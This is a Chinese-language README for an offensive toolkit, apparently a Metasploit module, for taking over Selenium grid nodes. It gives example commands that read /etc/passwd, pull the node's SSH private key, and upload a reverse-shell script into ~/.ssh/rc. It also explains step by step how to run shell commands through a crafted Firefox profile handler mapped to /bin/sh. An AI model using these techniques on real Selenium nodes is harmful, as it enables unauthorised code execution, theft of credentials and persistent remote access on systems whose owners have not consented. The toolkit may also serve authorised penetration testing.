一组可能有助于接管 Selenium 节点的 Selenium 测试
此项目已迁移。要获取最新版本,请从 https://codeberg.org/JonStratton/selenium-node-takeover-kit 拉取。
此工具结合了下面的部分示例,实现向 Selenium 节点上传文件、从节点下载文件以及在节点上执行代码(通过 "COMMAND_TYPE" 参数)。RCE 目前仅适用于 Linux。安装时,将此文件复制到 "~/.msf4/modules/exploits/multi/http/" 或其他相应目录。
简单地访问 "file:" URL 并转储页面内容。
examples/selenium_node_cat.py -h http://selenium-hub.lan:4444/wd/hub -r /etc/passwd使用内联 HTML 创建一个包含文件上传输入的内联表单。然后向该表单发送本地文件路径。表单中的 JavaScript 将该 base64 编码的文件嵌入到同一页面中。随后脚本读取并解码该文件,并保存到本地文件。
examples/selenium_node_download.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/id_rsa -l ./nodes_rsa类似于 Node Download 脚本,但不处理 JavaScript 中的文件。如果文件不存在,脚本中的 send_keys() 会抛出异常。
仅限 Firefox。使用 Firefox 配置文件(其实是一个 base64 编码的 zip 文件,嵌入在 Selenium API 请求中)创建一个自定义处理器(本例中为 "application/sh" 到 /bin/sh)。然后对 shell 命令进行 base64 编码,并使用内联 "data:" 将命令传递给与 "application/sh" 关联的处理器。Firefox 将创建一个包含命令的临时文件,并用 sh 执行。
仅限 Firefox。使用 Firefox 配置文件设置自定义下载目录并关闭“另存为”提示。然后访问包含嵌入式 "data:" 链接的内联 HTML,该链接是要上传的编码文件。随后点击此链接。
examples/selenium_node_upload.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/rc -l ./reverse_shell.sh仅限 Firefox。利用未被安全解压的 Firefox 配置文件,将文件写入节点的文件系统。